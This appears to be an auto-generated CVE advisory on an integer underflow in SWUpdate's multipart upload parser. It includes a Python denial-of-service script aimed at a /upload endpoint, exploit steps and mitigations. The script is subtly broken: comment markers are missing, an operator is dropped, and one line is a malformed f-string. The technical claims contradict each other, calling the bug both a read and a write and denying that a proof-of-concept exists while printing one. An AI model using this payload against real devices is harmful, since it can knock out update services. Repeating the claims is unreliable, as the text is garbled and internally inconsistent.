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The vulnerability exists in mongoose_multipart.c, specifically in the function mg_http_multipart_continue_wait_for_chunk(), which handles multipart form‑data uploads. The flaw is an integer underflow that occurs when parsing a multipart boundary from a crafted HTTP POST request to the `/upload` endpoint.
Under normal conditions, the parser checks whether the remaining data length is sufficient to hold the multipart boundary plus a small overhead. The guard condition uses boundary.len + 6. However, in the else branch where the actual data length is computed, the code incorrectly subtracts `boundary.len + 8` from the current buffer length (io->len).
When the buffer length falls into the narrow interval [boundary.len + 6, boundary.len + 7], the subtraction yields a negative value that wraps around to a very large positive number (since the variable is of type size_t). This integer underflow results in a `data_len` equal to `SIZE_MAX` or SIZE_MAX - 1.
Consequently, the parser attempts to read up to that huge number of bytes from the heap‑allocated receive buffer, causing an out‑of‑bounds read that extends beyond the legitimate buffer into a local IPC socket. The out‑of‑bounds read does not directly leak memory, but it triggers a denial‑of‑service condition because the service crashes or becomes unresponsive.
The attack is unauthenticated and can be performed remotely. The attacker must control the TCP stream timing and send a malformed multipart boundary to hit the precise buffer length range. The high attack complexity (CVSS:3.1/AC:H) reflects the need for this precise timing and boundary manipulation.
The vulnerability affects SWUpdate versions up to 2025.12. The fix replaces the subtraction operand `+8` with +6, aligning the calculation with the guard condition and eliminating the underflow.
DailyCVE Form: Platform: SWUpdate Version: up to 2025.12 Vulnerability : integer underflow Severity: 6.8 MEDIUM date: 2026-04-23 Prediction: 2026-05-23
What Undercode Say
Check if SWUpdate is vulnerable (version <= 2025.12)
swupdate -V | grep -E "SWUpdate v(20[0-9]{2}.[0-9]{1,2})"
Python script to trigger the integer underflow
import socket
import time
target_ip = "192.168.1.100"
target_port = 8080
boundary = "-WebKitFormBoundary7MA4YWxkTrZu0gW"
payload = f"""POST /upload HTTP/1.1
Host: {target_ip}:{target_port}
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: 512
--{boundary}
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
A
--{boundary}--
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
Send the first chunk
sock.send(payload.encode())
Send a malformed chunk that adjusts buffer length to the critical range
sock.send(b"X" (len(boundary) + 6)) Forces io->len into [boundary.len+6, boundary.len+7]
time.sleep(0.1)
Send the final part to complete the request
sock.send(b"\r\n--{boundary}--\r\n")
sock.close()
Exploit
- Identify a target running SWUpdate with the `/upload` endpoint exposed.
- Craft an HTTP POST request with a `multipart/form-data` body and a deliberately malformed boundary string.
- Control the TCP stream timing so that the receive buffer length falls into the interval `[boundary.len + 6, boundary.len + 7]` when the multipart parser executes.
- The integer underflow causes the parser to attempt reading up to `SIZE_MAX` bytes from the heap, leading to a crash and denial of service.
Protection
- Network restrictions: Block or rate‑limit access to the `/upload` endpoint using a firewall or reverse proxy.
- Disable multipart uploads: If not required, disable the multipart functionality in SWUpdate.
- Upgrade SWUpdate: Apply the fix by upgrading to a version that contains the patch (e.g., `2025.12+dfsg‑9` or any release after the commit
beee2dc0feef1cfe84f1aa6fc980e104b2e47a74). - Monitor logs: Watch for repeated HTTP POST requests with abnormal multipart boundaries or repeated crashes of the SWUpdate service.
Impact
- Denial of Service (DoS): The primary impact is a crash of the SWUpdate service, making over‑the‑air updates impossible until the service is restarted.
- Out‑of‑bounds heap read: Although the read does not directly leak sensitive data, it writes beyond the allocated buffer into a local IPC socket, potentially corrupting inter‑process communication.
- Potential for further exploitation: While no public proof‑of‑concept exists, an integer underflow that leads to an out‑of‑bounds read could, in some configurations, be chained with other bugs to achieve remote code execution or information disclosure.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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